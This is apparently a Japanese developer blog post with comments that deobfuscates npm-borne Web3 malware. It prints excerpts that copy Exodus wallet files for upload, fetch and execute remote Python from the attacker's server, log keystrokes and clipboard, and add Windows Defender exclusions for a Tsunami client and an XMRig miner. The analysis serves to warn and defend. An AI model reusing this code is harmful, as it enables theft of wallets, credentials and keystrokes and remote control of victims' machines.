🔒

Web3 のマルウェアが話題なので解析してみた

2025/03/01に公開2

はじめに

npm run dev すると悪意のあるコードが実行されてウォレット情報が抜かれるという記事が話題になっていたので、どういうコードが実行されているのか解析してみました。

話題になっている記事の著者は、難読化されたコードを AI に投げて、Ethereum のウォレットが抜かれると説明していましたが、本当にそれだけなのか?ということを確認してみます。

マルウェアの入手

まず、攻撃者側のサーバーが生きている同系統のマルウェアを入手しなければいけません。

GitHub のコード検索機能で util.assets() というコードを検索してみると、見つかったので、こちらを使用します。

記事にあったような eval が確認できます。
Image from Gyazo

マルウェアの解析

util.assets() を見てみます。

var crypto = require("crypto");

module.exports = {
  // 一部略
  assets: function () {
    return "public/models/.svn/bower_components/assets";
  },
};

このパスのファイルを見に行くと...記事のように難読化されています。

Image from Gyazo

このファイルを難読化解除してみます。変数の命名規則的に obfuscator.io が使われていそうなので、synchronyObfuscator.io Deobfuscator を使用して大枠を復元したあと、AI と自分の脳を活用して変数名を書き換えます。

1時間ほどかけて、以下のようなコードになりました。

https://github.com/waki285/web3-malware-deobfuscated/blob/main/deobfuscated/step1/assets.js

最初に、コードが改ざんされていたら無限ループするスクリプトと、コンソール出力系のメソッドを無効化しており、デバッグが困難になっています。

その後に、Brave、Opera、Chrome、Firefox のウォレット拡張機能、そして Exodus のデータを抜くコードが実行されています。ご丁寧に Windows と Mac 両方対応。

const uploadEs = (uploadOptions) => {
  let walletPath = "";
  let filesToUpload = [];
  if ("w" == platform[0]) {
    walletPath =
      getAbsolutePath("~/") + "/AppData/Roaming/Exodus/exodus.wallet";
  } else {
    "d" == platform[0]
      ? (walletPath =
          getAbsolutePath("~/") + "/Library/Application Support/exodus.wallet")
      : (walletPath = getAbsolutePath("~/") + "/.config/Exodus/exodus.wallet");
  }
  if (testPath(walletPath)) {
    let walletFiles = [];
    try {
      walletFiles = fs.readdirSync(walletPath);
    } catch {
      walletFiles = [];
    }
    let tempFileCounter = 0;
    !testPath(getAbsolutePath("~/") + "/.n3") &&
      fs_promises.mkdir(getAbsolutePath("~/") + "/.n3");
    walletFiles.forEach(async (fileName) => {
      let currentFilePath = path.join(walletPath, fileName);
      try {
        fs_promises.copyFile(
          currentFilePath,
          getAbsolutePath("~/") + "/.n3/tp" + tempFileCounter,
        );
        const fileOptions = { filename: gtype + "_" + fileName };
        filesToUpload.push({
          value: fs.createReadStream(
            getAbsolutePath("~/") + "/.n3/tp" + tempFileCounter,
          ),
          options: fileOptions,
        });
        tempFileCounter += 1;
      } catch {}
    });
  }
  Upload(filesToUpload, uploadOptions);
  return filesToUpload;
};

ここまでは記事のような内容でしたが、まだ続きがあります。下の方を見ると...

const runP = () => {
  const pdownURL = hostURL + "/pdown",
    pZipPath = tmpDir + "\\p.zi",
    pZipPath2 = tmpDir + "\\p2.zip";
  if (currentSize >= SIZE_THRESHOLD + 6) {
    return;
  }
  if (fs.existsSync(pZipPath)) {
    try {
      var pZipPathStat = fs.statSync(pZipPath);
      pZipPathStat.size >= SIZE_THRESHOLD + 6
        ? ((currentSize = pZipPathStat.size),
          fs.rename(pZipPath, pZipPath2, (err) => {
            if (err) {
              throw err;
            }
            extractFile(pZipPath2);
          }))
        : (currentSize < pZipPathStat.size
            ? (currentSize = pZipPathStat.size)
            : (fs.rmSync(pZipPath), (currentSize = 0)),
          runPCaller());
    } catch {}
  } else {
    exec('curl -Lo "' + pZipPath + '" "' + pdownURL + '"', (err) => {
      if (err) {
        return (currentSize = 0), void runPCaller();
      }
      try {
        currentSize = SIZE_THRESHOLD + 6;
        fs.renameSync(pZipPath, pZipPath2);
        extractFile(pZipPath2);
      } catch {}
    });
  }
};

何やら怪しいファイルをダウンロードしています。hostURL は http://1.1.1.1:1234 のようなアドレスなので、攻撃者のサーバーから何かをダウンロードしています。
確かめたところ、Python の実行ファイル (python.exe など) をダウンロードしていました。

さらに続きがあります。

const runPython = async () =>
  await new Promise(() => {
    if ("w" == platform[0]) {
      fs.existsSync(homeDir + "\\.pyp\\python.exe")
        ? (() => {
            const url = hostURL + "/client/" + htype + "/" + gtype,
              pythonPath = homeDir + "/.npl",
              command =
                '"' + homeDir + '\\.pyp\\python.exe" "' + pythonPath + '"';
            try {
              fs.rmSync(pythonPath);
            } catch {}
            request.get(url, (err, response, body) => {
              if (!err) {
                try {
                  fs.writeFileSync(pythonPath, body);
                  exec(command, () => {});
                } catch {}
              }
            });
          })()
        : runP();
    } else {
      (() => {
        request.get(
          hostURL + "/client/" + htype + "/" + gtype,
          (err, _, body) => {
            err ||
              (fs.writeFileSync(homeDir + "/.npl", body),
              exec('python3 "' + homeDir + '/.npl"', () => {}));
          },
        );
      })();
    }
  });

const url = hostURL + "/client/" + htype + "/" + gtype という、攻撃者のサーバーから何かをダウンロードしていそうなコードがあります。今回の場合 htype は "5"、gtype は "507" でした。

実際にダウンロードして内容を確認すると...

https://github.com/waki285/web3-malware-deobfuscated/blob/main/raw/step2/main5_507.py

非常に怪しい難読化された Python コードです。解析しましょう。

難読化された Python コード

__import__('zlib').decompress__import__('base64').b64decode[::-1]より、Zlib、base64、reverse が使われているだろうと推測できます。

CyberChef の、ReverseFrom Base64Zlib Inflate を使用して解読すると、また同じようなコードが得られました。

Image from Gyazo

これは何重にもかかってるパターンなので、LabelConditional Jump を使用してループさせます。どうせ出てくるコードには import が含まれているだろうと推測し、終了条件を import が含まれているときにしました。

以下のコードを得ることができました。(隠した IP は JavaScript のものと同じです。)

https://github.com/waki285/web3-malware-deobfuscated/blob/main/deobfuscated/step2/main5_507.py

host2+"/payload/"+sType+"/"+gTypehost2+"/brow/"+ sType +"/"+gType という2つの URL からファイルをダウンロードしているようです。この2つもダウンロードして更に突き進みます。

payload

https://github.com/waki285/web3-malware-deobfuscated/blob/main/raw/step3/pay5_507.py

また難読化されていたので、同じように CyberChef で解読。

https://github.com/waki285/web3-malware-deobfuscated/blob/main/deobfuscated/step3/pay5_507.py

http://ip-api.com/json へのリクエスト、SysInfo というクラス、明らかにウォレット以外のものも盗みに来ています。

また、攻撃者のサーバーに Socket 通信をし、サーバー側から

  • リモートで指定されたシェルコマンドを実行し、その結果を返す
  • 特定のプロセス(Pythonプロセス)の終了を試みる
  • クリップボードの内容を送信
  • 指定されたファイル(例えば、ブラウザ関連の実行ファイル)をダウンロード・実行
  • ファイルアップロード(ディレクトリ全体や単一ファイルのアップロード、パターン検索によるアップロード)
  • Chrome や Brave ブラウザのプロセスを強制終了
  • AnyDesk などのリモートアクセスツールをダウンロード・実行 (後述)
  • 環境設定ファイル(.env ファイル)の収集・アップロード

という命令を送れます。やりたい放題。

中で、host2+"/adc/"+sType をダウンロードしています。何回ダウンロードするんだ。

ダウンロードすると any5.py が手に入りました。なんとこちらは難読化されておらず、そのまま理解できます。

https://github.com/waki285/web3-malware-deobfuscated/blob/main/raw/step4/any5.py

まず AnyDesk というリモートデスクトップアプリをダウンロードし、update_conf 関数で認証情報を攻撃者の都合が良いものに書き換えています。つまり、攻撃者がリモートデスクトップで操作できるようになります。危険すぎる。

pay5_507.py に戻りましょう。さらに下には、またまた怪しいコードがあります。

import subprocess
try:import pyWinhook as pyHook
except:subprocess.check_call([sys.executable,_M,_P,_L,'pyWinhook']);import pyWinhook as pyHook
try:import pyperclip
except:subprocess.check_call([sys.executable,_M,_P,_L,'pyperclip']);import pyperclip
try:import psutil
except:subprocess.check_call([sys.executable,_M,_P,_L,'psutil']);import psutil
try:import win32process
except:subprocess.check_call([sys.executable,_M,_P,_L,'pywin32']);import win32process
try:import pythoncom
except:subprocess.check_call([sys.executable,_M,_P,_L,'pywin32']);import pythoncom
try:import win32gui
except:subprocess.check_call([sys.executable,_M,_P,_L,'pywin32']);import win32gui

# ---一部略---

def run_copy_clipboard():
    global e_buf
    try:
        copied = pyperclip.waitForPaste(0.05)
        tt = "\n=================BEGIN================\n";tt += copied;tt += "\n==================END==================\n"
        e_buf += tt;write_txt(tt)
    except Exception as ex:pass

def hkb(event):
    if event.KeyID == 0xA2 or event.KeyID == 0xA3:return _T

    global e_buf
    tt = check_window(event)

    key = event.Ascii
    if (is_control_down()):key=f"<^{event.Key}>"
    elif key==0xD:key="\n"
    else:
        if key>=32 and key<=126:key=chr(key)
        else:key=f'<{event.Key}>'
    tt += key
    if is_control_down() and event.Key == 'C':
        start_time = Timer(0.1, run_copy_clipboard)
        start_time.start()
    elif is_control_down() and event.Key == 'V':
        start_time = Timer(0.1, run_copy_clipboard)
        start_time.start()

    e_buf += tt;write_txt(tt);return _T
def startHk():hm = pyHook.HookManager();hm.MouseLeftDown = hmld;hm.MouseRightDown = hmrd;hm.KeyDown = hkb;hm.HookMouse();hm.HookKeyboard()
def hk_loop():startHk();pythoncom.PumpMessages()
def run_client():
    t1=Thread(target=hk_loop);t1.daemon=_T;t1.start()
    try:client.run()
    except KeyboardInterrupt:sys.exit(0)

なんとなく察せますが、キーロガー、マウスロガーです。いよいよ本格的なウイルスですね。

brow

https://github.com/waki285/web3-malware-deobfuscated/blob/main/raw/step3/brow5_507.py

例に漏れず難読化されていたので、CyberChef で解読。

https://github.com/waki285/web3-malware-deobfuscated/blob/main/deobfuscated/step3/brow5_507.py

なぜか二重に難読化されていたので、内側の方も解読。

https://github.com/waki285/web3-malware-deobfuscated/blob/main/deobfuscated/step3/brow5_507_inside.py

外側の方のコードでは、ウォレットだけでなくブラウザに保存されている情報を根こそぎ抜き取っています。Cookie も当然漏れるので、ブラウザのログイン情報も盗まれます

また、OS のログインパスワードも盗まれます。

brow 内部

内部の方を見てみます。なぜかご丁寧にコメントが付いている。

# Add the Windows Defender exceptions

EXCEPTION_PATHS = [
    # Tsunami Installer
    rf"{ROAMING_APPDATA_PATH}\Microsoft\Windows\Applications\Runtime Broker.exe",
    # Tsunami Client
    rf"{LOCAL_APPDATA_PATH}\Microsoft\Windows\Applications\Runtime Broker.exe",
    # XMRig miner
    rf"{LOCAL_APPDATA_PATH}\Microsoft\Windows\Applications\msedge.exe"
]

「Add the Windows Defender exceptions」の時点でだいぶアレですが、「Tsunami Installer」「Tsunami Client」「XMRig miner」で検索してみると、Linux SSH サーバーを対象として拡散している Tsunami DDoS マルウェア という記事を発見。

Tsunami はソースコードが公開されており、様々な攻撃者たちによって使用されているが、

どうやら既知のマルウェア (そして XMRig miner はお察しの通りマイニング) のようです。

# URL Extraction stuff (pastebin is annoying and does not provide the links
# with a user name to prevent this sort of stuff, this is a work around)

# Extensive documentation on this process has been included on my YouTube channel: https://www.youtube.com/watch?v=QB7ACr7pUuE

中に YouTube があります。制作者の情報を得られるかもしれません。

Image from Gyazo

なかなかやりおる...

def xor_encrypt(text: bytes):
    XOR_KEY = b"!!!HappyPenguin1950!!!"
    
    encrypted_text = bytearray()
    for i in range(len(text)):
        encrypted_text.append(text[i] ^ XOR_KEY[i % len(XOR_KEY)])
    return bytes(encrypted_text)

def xor_decrypt(text: bytes):
    return xor_encrypt(text)

def decode(encoded: str) -> str:
    encoded_bytes = binascii.unhexlify(encoded)
    encoded_bytes = xor_decrypt(encoded_bytes)
    encoded = base64.b64decode(encoded_bytes).decode()

    return encoded[::-1]

def download_installer_url() -> str:
    URLS = [
        "6c5b6c7c2f1d081134225b0b2f2e025b6005764a434c774f7b1d19163e3d091c205419060d76004f52135951406763783b274511322d2c0b172e0276750665574376184b6d255400291406550d55331e224801035312631145664675",
        "6c5b68322c283e003257570c112138615a067e4d42126f63793230073e2d3c0d0f303f1d0c0341436113734d4079637938423e291c563b11173e575b75580551784c7711427a27073c0068530d5437590a765e08",
        "6e6578322f3726123432160b16052c4b637205104312635543782f163e133755200a405c0c76554c6974104a7b7677223843262d1c563b11173e575b75580551784c7711427a27073c0068530d5437590a765e08",
        # 非常に長い配列を省略
    ]

これまた怪しい。URLS は Reverse、Base64、XOR、Hex で暗号化されているようなので、中身を戻すスクリプトを書いて戻すと、Pastebin の URL が出てきました。

ただし、適当にアクセスしても 404 なので、チェッカーを書いて生きているものを抽出し、Paste を確認しました。(この Paste も同じ手法で暗号化されていました)

復号すると、http://[REDACTED]/introduction-video という URL が出てきました!またダウンロードか!

でも、アクセスしても 500 エラー...

Image from Gyazo

もう見れるところは見尽くしたので、ここら辺で終わりにします。

まとめ

この記事では、Web3 のマルウェアが話題になっていたので、どういうコードが実行されているのか解析してみました。
結果は...

  • ウォレット情報を抜く
  • クリップボードの内容を抜く
  • シェルコマンドの実行
  • ブラウザの Cookie を抜く
  • 指定されたファイルの実行
  • .env を収集して抜く
  • キーボード操作を抜く
  • マウス操作を抜く
  • リモートデスクトップを奪取
  • DDoS 攻撃の踏み台にされる
  • マイニング

というようなものでした。

結論: Web3 だけじゃなくて全開発者が警戒するべき。もし踏んでしまったら何が仕掛けられてるかわからないのですぐ初期化がベスト。

eval を警戒すればいいのか?

eval を警戒すればいいのか?というと、そうでもないと思います。JavaScript には、eval の他にも Function コンストラクタや new Function()setTimeout/setInterval の文字列引数などなど文字列をコードとして実行する手段は多数あります。

というか、別に奥深くに JS 隠してそれを require でもいいわけだし。

おわりに

この記事は、Web3 のマルウェアが話題なので解析してみたという記事を参考にしています。

本記事に乗せた解析結果は、GitHub に公開しています。

GitHubで編集を提案

Discussion

あいや - aiya000あいや - aiya000

今回はnode.js向けの話でしたが、そもそも我々がたまにアプリケーションのインストールなどに使用する

$ curl {URL} | sh

も、URLに悪意があれば同じことがされますよね…
(考えれば当たり前の話ですが…。)
ArchLinuxのAURも特に…。

今後Cline系に処理させる場合に、気をつけなければいけなさそうですね!

FAMASoonFAMASoon

もしよろしければIoC(マルウェアの痕跡)を収集してリサーチやブロックに役立てているサービスにURL等を登録してほしいです(世界中のリサーチャが活用していてより踏み込んだ解析をしてくれるかもです)
https://urlhaus.abuse.ch/
https://bazaar.abuse.ch/